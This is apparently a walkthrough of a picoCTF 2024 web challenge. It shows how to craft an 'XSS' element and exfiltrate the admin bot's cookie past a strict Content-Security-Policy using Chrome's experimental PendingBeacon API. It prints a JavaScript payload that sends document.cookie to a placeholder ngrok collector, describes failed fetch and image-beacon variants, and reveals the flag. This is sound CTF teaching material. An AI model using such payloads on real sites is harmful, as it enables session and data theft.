Description
A crafting game in the style of Little Alchemy: combine base elements to discover new ones. The twist is that the recipe you submit is rendered into an admin bot's page, so the real goal is to craft an 'XSS' element, fire it inside a strict Content Security Policy, and exfiltrate the flag. This was the second-least-solved challenge of picoCTF 2024.
Setup
Open the challenge site and read how /craft and /remoteCraft work.
Inspect the response headers to read the Content-Security-Policy the admin page enforces.
Stand up an external collector (ngrok, webhook.site) to receive the exfiltrated flag.
Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Model the crafting graph and reach the XSS element
ObservationThe game only lets you craft an element when both ingredients are already unlocked, so the XSS element's whole dependency tree has to be built in order. Treat the recipe list as a directed acyclic graph and topologically sort it.The game defines recipes like 'Exploit + Web Design = XSS'. To unlock the XSS element you must craft every ingredient in its dependency tree first, in valid order. Build the recipe graph, find the path from the base elements (Fire, Water, Earth, Air) up to XSS, and topologically sort it so each craft only uses elements you already have.pythonpython3 - <<'PY' # recipes: result -> (ingredient_a, ingredient_b) # Build the full set you must craft, then topo-sort so dependencies come first. from collections import deque recipes = { "XSS": ("Exploit", "Web Design"), } # fill from the site's recipe list def deps(target): order, seen = [], set() def visit(x): if x in seen: return seen.add(x) if x in recipes: for ing in recipes[x]: visit(ing) order.append(x) visit(target) return order print(deps("XSS")) # craft these in this order PYWhat didn't work first
Tried: Craft elements in the order they appear in the recipe list on the site, without sorting by dependencies first.
The site rejects a craft when either ingredient is still locked. XSS depends on intermediates that depend on earlier elements, so an unsorted sequence breaks partway through. A topological sort puts every prerequisite ahead of the thing that needs it.
Tried: Manually trace the dependency chain by eye instead of writing a graph traversal.
The XSS recipe runs several levels deep, so tracing by hand misses shared sub-dependencies or hits them out of order. A traversal over the recipe dict is reliable, and it still works if the recipe set changes.
Learn more
Why topological sorting. You can only combine elements you already own, so the craft sequence must respect dependencies: an element appears only after both of its ingredients. A topological sort of the recipe DAG produces exactly such an ordering. This is the same ordering problem as build systems and package managers solve.
Step 2Understand the CSP that blocks the obvious exfil
ObservationThe admin page returns a Content-Security-Policy with a restrictive connect-src, so fetch() and XMLHttpRequest die before reaching any external collector. Work out exactly which request primitives that policy covers before trying to exfiltrate anything.The admin page sets a strict Content-Security-Policy. Inline script may run via the crafted element, but connect-src / default-src forbid outbound requests to your domain, so fetch(), XHR, navigator.sendBeacon(), image beacons, and form posts to an external host are all refused. You need a request primitive the CSP does not cover.Learn more
What CSP actually restricts. A Content-Security-Policy enumerates which origins each resource type may load from.
connect-srcgoverns fetch/XHR/WebSocket/sendBeacon,img-srcgoverns images,script-srcgoverns script sources. If every network-capable directive (ordefault-src) excludes your collector, the browser silently blocks the request before it leaves. That is why a normalfetch("https://me/?f="+flag)does nothing here.Step 3Exfiltrate with a CSP-unaware browser API
Observationfetch(), XHR, image beacons, and sendBeacon() are all blocked. But the admin bot runs a Chrome version that shipped the experimental PendingBeacon API before CSP enforcement caught up with it, so PendingGetBeacon or PendingPostBeacon slips past connect-src.The winning trick is to use an experimental Chromium feature whose requests were not subject to CSP: the PendingBeacon API (window.PendingGetBeacon / PendingPostBeacon). It issues an HTTP request that connect-src does not block, so you can ship the document cookie / flag to your external collector despite the policy. Put the call inside the crafted XSS payload and submit it via /remoteCraft so the admin bot executes it.js// payload carried by the crafted "XSS" element, run on the admin page: const b = new PendingGetBeacon("https://<your-ngrok>/x?f=" + encodeURIComponent(document.cookie + document.body.innerText)); b.sendNow();bash# Watch your collector; the admin bot's request carries the flag.The path shown here was an unintended one: it abused a Chrome-only API that did not honour CSP. PendingBeacon was later removed, so on a current browser you may need an equivalent non-fetch channel (for example a navigation-based leak); the principle is the same: find a request type the policy does not cover.
What didn't work first
Tried: Use fetch() or XMLHttpRequest to POST the flag to an ngrok collector endpoint.
connect-src blocks outbound requests to external origins, so the browser drops fetch() and XHR before they leave the page. Nothing reaches the collector and nothing appears in the response to tell you why. PendingBeacon, or another API that predates CSP coverage, goes around the check entirely.
Tried: Use an image beacon (new Image().src = 'https://collector/?f=' + flag) to bypass connect-src.
An image beacon falls under img-src, which this policy locks down alongside connect-src, so the load is blocked and the collector gets nothing. PendingBeacon issues its request through a background-sync code path that was not yet wired into CSP checks in the bot's Chrome version.
Learn more
Why this works. CSP enforcement is implemented per request type. When a browser ships a new network API before the CSP plumbing is added, that API becomes an exfiltration hole: the bytes leave the page even though
connect-srcwould have blocked an equivalentfetch. Bug-bounty and CTF web exploitation both rely on enumerating these gaps when a policy looks airtight.
Interactive tools
- URL Encoder / DecoderEncode and decode URL-encoded (percent-encoded) strings. Useful for web exploitation challenges involving query parameters, form data, and HTTP headers.
- Regex TesterTest regular expressions against a string with live match highlighting, flag toggles, and common CTF pattern shortcuts.
Flag
Reveal flag
picoCTF{little_alchemy_was_the_0g_game_does_anyone_rememb3r_...}
Craft the XSS element by topologically sorting the recipe graph, then bypass the strict CSP by exfiltrating with an experimental browser API (PendingBeacon) that connect-src did not enforce, sending the flag from the admin bot's page to your collector.